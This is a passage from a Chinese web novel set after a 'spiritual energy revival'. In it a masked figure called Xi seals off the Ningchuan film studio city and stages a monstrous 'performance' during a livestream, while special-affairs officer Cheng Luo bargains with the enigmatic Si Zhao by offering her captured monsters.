虽然她还不太明白,到底是因为沉默使这一切显得恐怖,还是座上那位白衣女人让人觉得恐怖。
放她走啊。
成珞在心里祈祷——面对无法战胜的存在时,人总免不了将希望寄托于虚无。
或者,那个红衣的戏,能不能主动说句话啊?
也许是听到了她的心声,成珞听见戏开口:
“娘子,戏既然已递上拜帖,就一定会践行诺言、为您准备一场宴飨”
“至于此人,戏也会将其放归来处,不愿惹娘子不快”
迷雾渐起,遮蔽了大红的衣袍,也遮蔽了红衣。
成珞觉得自己好像睡了很久,又好像只是历经了一瞬。
她睁开眼,看着特处局熟悉的布局,耳畔传来局中纷乱的、熟悉的声音,打电话的,讨论案件的,研究骰盅的……
最后,一切归于那场虚幻的梦境,脑子终于从梦里脱离出来,成珞耳边还回荡着那些话:
“姒娘子”
“戏”
还有很重要的——
“宴飨”
宴飨,谓鬼神受享祭祀的酒食。
而后成珞悚然,她忽然想起,梦里那戏台,她见过!
“砰!”
会议室的门被猛然推开,内里的众人讶异地回头,见本该在休息室的休息的成珞一脸严肃地闯进来:
“我要查一个地方”
她记得那个梦,她有很多问题,比如戏称呼她为镇魔使,比如巫山,比如信徒,但目前最紧急、她需要立刻处理且能处理的——
是那戏台。
会议室,成珞一边叙述着梦里的情况一边指挥调查科的专业人士,不过三分钟,熟悉的戏台出现在屏幕上:
宁川影视城,兰苑。
一个,原本已经荒废,后在近现代被改做影视城的地方。
不过因为不久前发生过异种伤人事件,近来兰苑处于封锁状态。
从梦中清醒过来的成珞不自觉攥紧拳头:
“派人疏散周围的人群!不仅是兰苑周围,是整个宁川影视城,快!”
然而,
“滋啦——”
又是熟悉的响声。
大屏再次被直播占据。
直播内,戏台之上,无数红绸垂落。
53.戏台
直播间内,无数红绸落下,密密麻麻,霸道地占据所有人的视线。
须臾又消失在视线里,像怪物确认观众到场后收回视线。
宁川影视城,接到通知的治安局立刻向民众发送信息、派人前往维持秩序疏散群众,然而——
【发送失败】
【发送失败】
……
信息科的工作人员看着满屏的【发送失败】,危机感如潮水漫上心头:
“科长,出问题了”
信息时代,作为基建狂魔的华国绝大部分地区都覆盖了信息网络,更何况宁川影视城并非偏远地区、治安局的设施完善,怎么可能出现信息发送失败这种荒谬的事情?
除非……
“滋啦——咔——”
又是,那东西的声音。
【眼睛】的声音。
下一刻,满目的红霸占了大屏。
是那个被误认为【直播】的怪物。
而它每次出现,伴随的必然是,另一只、或者更多的,怪物。
……
宁川影视城。
【嘀——扫码失败】
“哎哎哎老妹儿你这个钱还没付——”
“咦我手机怎么突然没网了”
“靠北我信号儿呢?”
目光移向手机左上角,图标已变为灰白。
不是没网,是直接失去了信号。
呼——
起风了。
空气随之漾起阵阵涟漪,像有某种隐形的帘幕落下,将整个宁川影视城与外界分割开来。
影视城外围,有人发出诧异的呼声:
“这里……有东西?”
“怎么出不去?”
“什么东西挡在这里?”
“有灵阵师布阵?”
“哪位道友展开领域了?”
“可千万别是撞异种了”
此话一出,不少人陷入沉默。
其实不管是不是修士布阵,这背后都潜藏着危机的信号。
纵使是灵阵师布阵,也代表着,这里出现了需要她出手的事件。
而那往往与异种有关。
她们试探着伸手去触碰,不出意外摸到了类似于墙的东西,仿佛此处多了一堵看不见的空气墙,将世界分隔。
影视城外的人也充满讶异地看着眼前场景,现在,外面的人进不来宁川影视城,里面的人也出不去。
不过灵气复苏几年来,人们对这类事情已接受良好,对目前的情况也颇有对策。
遇事不决,打开手环。
她们纷纷开始调试手腕上的手环,将其调整为预备阶段—自力救济。
预备阶段该手环可根据情况自动切换攻击、防御、急救、警示等功能。
感谢祖国母亲,感谢青年大学习,灵气复苏之后,保命手环是第一时间研制出来统一发放的,家家户户也是必须要看青年大学习精通手环基础功能的。
眼下惊慌茫然还是有的,但是也不至于乱到失去秩序。
灵气复苏以来,她们也不再是以往的“遇到危机事件不知如何处理的社会主义巨婴”了。
……
高楼之上,姒昭放松地坐在天台上,风声猎猎,她的衣袂飞扬。
在她身后,猩红血线垂下,连着她的身体,血线另一端连接的则是形态各异、呈半透明状态的异种。
宁川影视城太大了,将它与外界隔开耗费了太多饱腹值,为了接下来的“表演”,她需要进食。
她猎杀了不少潜藏在人群中的异种,但眼下没条件开火,她不想生啃,故选择吃那些无形体的。
五指微微曲张,姒昭似乎明白了此前黑梦中的【奖状】给予的奖励是什么。
它改造的是她的身体,最初她只能以口舌唇齿吞噬有形体的异种,如今她无需利齿尖牙,也足以用这种特殊方式吃掉无躯体的异种。
“在辅助我【吞噬】吗?”
姒昭喃喃道。
直播间显示着下方众生百态,主角还未登台。
她垂首,看到一切乱中有序。
“灵气复苏后的世界……”
姒昭轻轻开口,声音散在风里。
身旁,辛格瓦缩成鹌鹑。
好可怕好可怕好可怕!
它亲眼看着这家伙在这几天里逮着它的同类杀,本来它们潜藏的好好的,都被她揪出来杀掉了!
更可怕的是……她不仅杀,还吃。
看着姒昭身后那无数猩红血线,辛格瓦浑身一颤,他眼中,超然如仙的姒昭浑身上下被团团汹涌血色包裹,滔天怨气几乎实质化,在她身后挣扎、扭动……
正在这时,姒昭转头看向了它。
“!!!”
辛格瓦本能地想蜷缩成一团,又怕对方觉得自己没用立马下锅,最终还是恭顺地上前:
“主人……”
求生本能下,辛格瓦的进步神速,目前讲话已经不再滞涩生硬,至少不看脸纯听声音会以为这是个小女孩。
姒昭看着它:“记得配合我,按指令做事”
这算是她的“畜牧业”里目前养殖最成功的一个,听话,懂事,能干。
不像新抓的几个,话都说不明白。
或许这就是【蜂王】和其它异种的区别?
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辛格瓦:“遵命”
姒昭伸手,从系统空间里拿出一张纯白的面具,将其扣在脸上。
随后,她的身高拉长、体型稍改,原本的面孔被掩藏,白纸即为脸孔。
哗——
披上大红的戏袍,姒昭从“先行者”变成了“戏”。
清了清嗓,红衣的女人开口:“清早起来菱花镜子照,梳一个油头桂花香。脸上搽的桃花粉,口点的胭脂杏花红。”*
声音流畅清脆,唱腔无可挑剔。
就好像,她真的成了一名戏曲演员。
更重要的是,此刻她的声音与之前完全不同。
若不是知晓这是姒昭,那恐怖的气息、从灵魂上传来的压迫感没有变,它都会误以为这是另一个人。
“不错,今天这出戏唱的好不好、任务完成的怎么样,可都得仰仗你了,【魇】”
说着,她抚上了一片空白的脸:
“不过,是不是缺了点什么?”
“该不会是你在故意骂我不要脸吧?”
“嗡——”
那面具颤了一下,仿佛在急着表忠心证明自己。
“不必紧张,”感受到它的恐惧,姒昭笑着开口:“让我想想画张什么样的脸好呢……”
反正不能是“先行者”的。
【魇】可以扭曲她人眼中姒昭的形象,她其实没有长高身材也没有改变,也并不会唱那一出《卖水》,只是【魇】可以欺骗她人的视觉、听觉,当然,包括电子设备。
也正是因为这个,姒昭才没有吃了它。
目前姒昭还没想好“戏”在别人眼里该长什么样,一时有些头疼。
但不过几秒,她的声音带上了笑意:
“我知道了!”
她打了个响指:
“好了,现在,该我们出场了”
闻言,系统配合着拉远镜头。
直播间内,宁川影视城的众人在镜头里变小,整个影视城的场景被囊括进来。
高楼林立,人来人往。
而在这其间,一大红的身影立于高楼顶端,衣袂翻飞。
众生皆为虚无,唯那一抹红是画纸上最明艳夺目的色彩。
特处局,看到这一幕的成珞瞳孔骤缩:
“戏!”
直播内,“戏”上前一步,垂首望向高楼下的众生。
下一秒,
“嗖——”
她骤然向下一跃。
烈烈风中,她红衣黑发,姿态决绝,像一团将要燃尽世间的火焰。
清朗的戏腔通过直播间穿到每个观众耳中,她说:
“好戏,开场~”
54.异种
世界的色彩在直播里变得模糊,唯有那血一样的猩红烈日般夺去众人的注视。
又像凶兽的利齿,野蛮地撕扯这个世界,强行将此地划为自己的猎场。
“嘭!”
没有任何减速措施,戏就这样直接跳下来了,巨大的冲击力将此处砸出一个硕大的坑洞,四散的烟尘里,那袭红裳缓步走出。
她拍了拍手,毫发无伤。
【消耗饱腹值×5】
经历过灵气复苏的人已经不再是往日遇事就冲上去看热闹的乐子人,如今的她们明白,有些热闹,是真的要拿命当门票的。
因此,在眼下这种明显不正常的情况下,她们不约而同地远离此地,包括本来就徘徊在周围的极少数民众。
系统:“宿主,其实你人挺好的,为了装这一下选了这种出场方式,还特地选这个没什么人的偏僻地儿”
姒昭:“……废话,我从小就知道高空抛物是不对的”
姒·高空抛“物”的物·昭。
而且……要是真不小心砸死了个人,对于她来说也是个噩梦好吗?
面具下,姒昭强颜欢笑;直播间内,弹幕疯狂刷新。
【超人???那么高跳下来还没死?】
【你不如说是新异种……当然鉴于近期的各种事件,也可能是巫山来客】
【目前已被观测的拥有人形的异种不超过一百吧?公开档案里也没有这类型的啊?】
【不管是什么,按照她刚刚表现出来的实力,谁能打?@蜀山学院@长流学院@极北光明寺@南门金钟庙,你们几家体修最强,肉身强度能达到这程度吗?】
【也不一定是肉身强度,也可能是用了灵力】
【没人关注一下被困在里面的民众吗?】
【一个先行者还没解决又来一个怪物,灵气复苏其实是异种和怪物的天下是吧?】
【我说当地的特处局救一下啊啊啊啊喂!】
……
直播外,戏抬头,对屏幕露出了脸:
“您在——看我?”
红杏般的眼影向两侧晕开,淡雅柔和,眼睛在粗黑线笔的勾勒下上扬吊起,显得格外有神,唇色嫣红,似蘸水桃花。
然而——
那是画。
绘在白纸上的画。
若是单纯的画,自然好看,但若是一个活生生的人,转过头才发现她的脸是纸张……只让人觉得惊悚。
戏看着虚空,开口道出来者身份:
“观众生百态,查世间命数”
“想不到,我这等小角色,也能分得似水君的注视”
无人应答。
自直播出现以来,不曾回应过任何存在。
包括之前的先行者。
见此情景,戏依旧不卑不亢。
她伸手拂过面颊:
“似水君眼里,果然是众生平等”
“未曾递上拜帖,是戏失礼,还望接下来的这出戏,您能看的开心”
“对了,”红衣怪物似有一瞬纠结,最终还是开口:
“姒娘子就在此地,若您有意……可前去相会”
“眼下,戏要为娘子准备宴席”
说着,她伸出手,轻拍两下
“啪啪”
刹那间,血色的云海翻涌,无数红绸落下。
并不陌生的戏腔响起:
“番王小丑何足论,我一剑能挡百万兵!!”*
不同于最初《卖水》的清脆婉转,此句唱词唱的中气十足,气势磅礴。
戏抬手,手上无剑,便双手并拢为剑,朝着天地间挥剑斩去——
“嗖!”
看似无害,只做装饰品的红绸,纷纷动了。
戏的身前,空无一人,无人敢靠近这个明显不对劲的怪物。
然而再逃也逃不出宁川影视城,无数人只能将希望寄托于特处局来人。
直到红云翻涌,血色绸缎自虚空垂落。
“到底是怎么回事?”
“希望手环有用”
“特处局快点来人啊!”
即使躲进商场等非露天区域,红绸仍在。
青年大学习守则之一:对上异种时不要随意触碰未知物品,你的举动可能打破平衡唤醒它。
目前红绸未伤害她们,她们也不敢赌碰了会怎么样。
就在众人精神紧绷时,
“嗖!”
“啊!”
一条红绸以迅雷不及掩耳之势缠上了其中一人的脖颈,将其拉入黑暗,再无踪影。
“怎么回事?!”
有人状如惊弓之鸟。
“什么东西?”
自虚无垂落的红绸微微晃动,像来自地狱的邀请。
“是那绸缎!”
“有人——有人被拖进去了!”
“远离它!”
其实无需开口,众人已本能地远离那些绸缎。
只是,这红绸遍布宁川影视城,她们没地方躲。
有人退,也有人进。
“爹的,我今天就不信了!”
有人咽了咽唾沫,戴上指虎主动靠近红绸。
青年大学习说不要随便碰,等待救援,那也是在双方没有互
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相干预、异种只是存在的情况下。
如今这东西很明显开始杀人了,已经不存在“打破平衡”“被唤醒”的说法,救援也不知道什么时候来,与其被动等死,不如她主动寻找规律。
女人上前,谨慎地触碰了其中一根垂下的绸缎。
但是,
“咦?”
她不可置信地张开嘴:“这绸缎……是假的,不存在”
她的手穿过了那红绸,没有任何触觉。
见状,不少人也惊疑不定地试探着伸出手。
果然,她们的手穿过了红绸。
“这……”
“到底怎么回事?”
红绸不存在?可是刚刚明明有人被卷走……
光影交错,大片大片交织的影子里,有什么在蠕动。
起初它没有人形,直到慢慢把自己摊平,与人的影子贴合。
随后,一道黑影渐渐脱离墙面上的影子,从平面变得立体。
血色的孔洞代替五官,借着掩护,它悄无声息地靠近某个人,渐渐贴上她的背……
“嗖!”
破空声再响,引得众人回头,目光统一汇集。
然而这次的消失比上次还要干脆利落,被卷走的人甚至没来得及发出喊声。
只有那个空出的位置,能证明这里曾经有过一个人。
人群再次陷入恐慌,直播间则刷满了【???】。
直播内外,两群人都是懵的。
……
镜头给到人群,姒昭得以喘息。
在镜头没有对准“戏”的时候,她都无需扮演戏。
眼下这出戏,需里应外合。
她现在得去扮演先行者。
因为,有人寻她。
不过,这里也不能放任不管。
权衡之下,姒昭放出了“畜牧业”里养殖的异种们,刚抓来没几天,很笨,话都不会讲,不知变通,但至少还能根据指令做事,不敢闯祸。
她望着它们:“过来,有事让你们去办”
……
“特处局办案,闲杂人等不要靠近!”
“请退到警戒线外!”
“不要靠近!危险!”
明黄的线拉起,民众被隔离在外。
细碎的光点悬浮其间,除了物理上的警戒线,还有成珞这个灵阵师布下的阵法,这才是真正的“警戒线”,保护里面的人,也保护外面的人。
宁川影视城外,成珞已然到达。
她握紧手中的骰子,眉头紧锁。
死马当活马医了。
能奏效吗?
55.麻雀
人群喧嚣,气氛凝重。
成珞摊开手,爆头骰盅安静地躺在掌心。
她沉下心神,屏蔽干扰,一股难言的宁静散发开来。
周围人的视线不自觉被她吸引,几个呼吸之间,便有白色的细碎光点在她身边凝结成印。
印记环绕着她,循着光线的指引汇成繁复花纹,渐渐地,灵阵成型。
爆头骰盅处于正中心,静静悬浮。
成珞屏息凝神,像是在等待谁的到来。
她进不去宁川影视城,她们都进不去,但是姒昭一定可以。
而她得到了姒昭赠予的骰盅,又曾被邀请入梦……虽然是被当盘菜了,但这也足以证明姒昭待她是特殊的。
眼下是无数人的性命,成珞不得不赌一把,赌姒昭会来。
时间一分一秒地流逝,不少人逐渐变得心浮气躁,即使不说,额头也不断沁出汗水。
成珞的心在等待里慢慢沉下去,失败了吗?
她抬头,太阳是天际惨白的尸体。
“啾啾”
鸟雀的叫声打破了凝重的气氛。
成珞敏锐地抬眼:哪来的鸟叫?
她布下的阵,拦截的可不止是人。
“轰隆——”
闷雷乍响。
转瞬之间,万里晴空被密布的阴云替代,雨滴落下。
嗒、嗒、
在这样的时刻,有轻巧细微的脚步声响起。
“啾啾”
那稚嫩轻灵的鸟雀的叫声,为之作配。
鸟雀在众人眼前划过浅棕色的弧线,成珞似有所感,目光循着望去。
摇曳的风里,有人撑一把油纸伞款步而来。
冰冷的重装武器和身着黑色作战服的治安官里,来人那袭黑白水墨风的衣袍柔软飘逸的不像话,像一个误入钢筋水泥森林里的绮丽志怪故事。
然而成珞只是在心中暗暗提高警惕,警铃作响。
她终于看清了闯入阵法的东西,是麻雀,很常见而不起眼的鸟。
如今那麻雀轻盈地落在姒昭手中那把素白的油纸伞上,随即化作一滩墨渍,由活物化作栩栩如生的画作。
如此手段——
成珞望着眼前的一切,心不禁沉了下去。
油纸伞轻轻转动,姒昭衣袍随风轻扬:
“不想着躲反倒主动寻我的,你是第一个”
先行者到场,周围的面上不显,实则已在暗中戒备。
如有异动,她们平日如何对待异种,如今也如何剿灭这个怪物。
气氛紧张,为首的成珞却实实在在松了口气。
事情比她想象的好多了。
先行者真的来了,不仅来了,还主动开口。
她于是笑,姿态友好而不卑不亢:
“能得娘子青睐,初见便赠予灵物,实乃成某之幸”
“为此,成某特备薄礼,还望娘子笑纳”
说罢,她对身边的人高声道:“呈上来!”
“哗啦——”
随着她的话,金属碰撞的声音响起。
姒昭抬眼望去,数十只形态各异的异种被淡金色的锁链束缚着牵到了她面前。
有异种姿态扭曲,将利爪伸进口中努力扣挖着,想挣扎低吼出声却不被允许。
特处局有慈悲大爱,亦有铁血手段。
成珞微笑着:
“得娘子看中,成某有幸入梦一回,可惜事发突然,未曾准备什么礼品”
“好在那位戏阁下慷慨,娘子行事又坦荡,成某斗胆推测您的喜好,备下了这份薄礼”
她们是为宁川影视城的戏而来,也是为此寻找的姒昭,但既是与这等存在打交道,自然不可能一点准备工作也不做。
特处局研究过她在坞城答案酒吧和管栎游乐场的行事风格及话语,加上成珞被绑入梦境时听到看到的,她们大概推测出,最初姒昭所说的狩猎中,猎物即异种。
毕竟她来后,坞城异种袭人的事都少了许多,本来被标记了准备逮捕的异种也被先一步处理掉了。
且先行者虽行事无拘无束,本身却并不凶戾暴躁,如沟通得当,或许,能与之交好也未可知。
而她自然,也不会毫无准备就来寻姒昭。
“时间紧凑,未来得及准备更好的,来日特处局必定登门拜访递上请帖,邀您赴一场正式的宴席”
说话间,她不忘在手中凝练新的灵印,一道道小巧精致的阵在手中成型,让那不断挣扎的异种安静萎靡下来。
它们从狰狞变得乖巧,而成珞将其送给姒昭。
拇指下意识地轻抚锁链,见姒昭不拒绝也未打断她的话,成珞进一步道:
“……顺便,还想在席间请教娘子,巫山与特处局,可有渊源?”
细雨绵绵,特处局的人仍伫立在原地,未曾离去。
先前的姒昭一直对成珞的话表现的毫无波澜,直到她提及巫山。
细小的雨滴落在素白的油纸伞上,姒昭的眉微动:
“特处局……如今的镇魔司,叫这个名字?”
成珞心头微颤,她记得那场梦里,戏称呼她为镇魔使。
知道她的
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迷惑,姒昭继续道:
“昔年人间有镇魔司,镇邪魔,护苍生,守正道,时光易逝,镇魔司存于人间,也难免随荏苒光阴更名换姓,但若内核不变,镇魔司就还是镇魔司”
她的目光落在成珞及周围特处局的人身上:
“而你们这样在镇魔司做事的,就是镇魔使”
黑白的袍像被墨渍浸染的绢帛,于风中微晃时,成珞会以为其上的山河纹章也随之流淌。
就好像,日月山河,随她话中的光阴一同流淌变幻。
她适时开口:
“那镇魔司与巫山……”
“镇魔使踏上的路,最终通往巫山”
知道她要问什么,姒昭直白地回答。
她轻轻转动手中的油纸伞,其上几抹燕影随之而动,棕褐色的翅膀扇动,转瞬间脱离伞面,朝成珞飞掠而去!
“局长!”
有成员下意识出声,就要调动灵力上前援助,被身边的同伴拉住。
画笔绘出的麻雀变作活物,缥缈星河一样的布帛落于眼前,成珞克制住自己反击的本能,伸手想要抓住那垂落的绸缎。
然而甫一抬头,她蓦然发觉这绸缎通往的是天际的虚无。
恍惚间她看见无数人在站在壁立千仞的高峰悬崖前,坎坷,崎岖,仍旧有人往上爬,哪怕中途无数人跌落,仍旧有人前赴后继。
青天之上,终于有一披帛垂下,也终有一只血迹斑驳的手,得以抓住这登天梯。
“哗啦——”
锁链碰撞响起的声音将成珞拉回现实,她看见那麻雀化作褐色绳索,束缚住异种后从她手中接过锁链,将其递到姒昭手中。
姒昭愿意接下这份“礼物”。
成珞反应极快,立刻顺着这力道松手。
锁链到了姒昭手中,不同于成珞需得以灵阵压制异种,它们一靠近姒昭便一动也不敢动,蜷缩着当乌龟。
扯了扯链子,她看向一旁的宁川影视城,声音淡漠:
“只是如今的镇魔使,踏不上通往巫山的路,也镇不了魔”
顺着她的目光看去,不知为何,成珞心中升起某种不妙的预感。
宁川影视城……
“嘭!”
即使有着透明屏障的阻隔,她们仍能听见自其中发出的闷响,有点像什么东西……炸了。
鸟雀掠出,如利刃将屏障割除一道裂隙。
成珞转头,对上姒昭淡漠的神情:
“不是想进去吗?”
“去吧”
成珞心一跳,不好的预感加剧。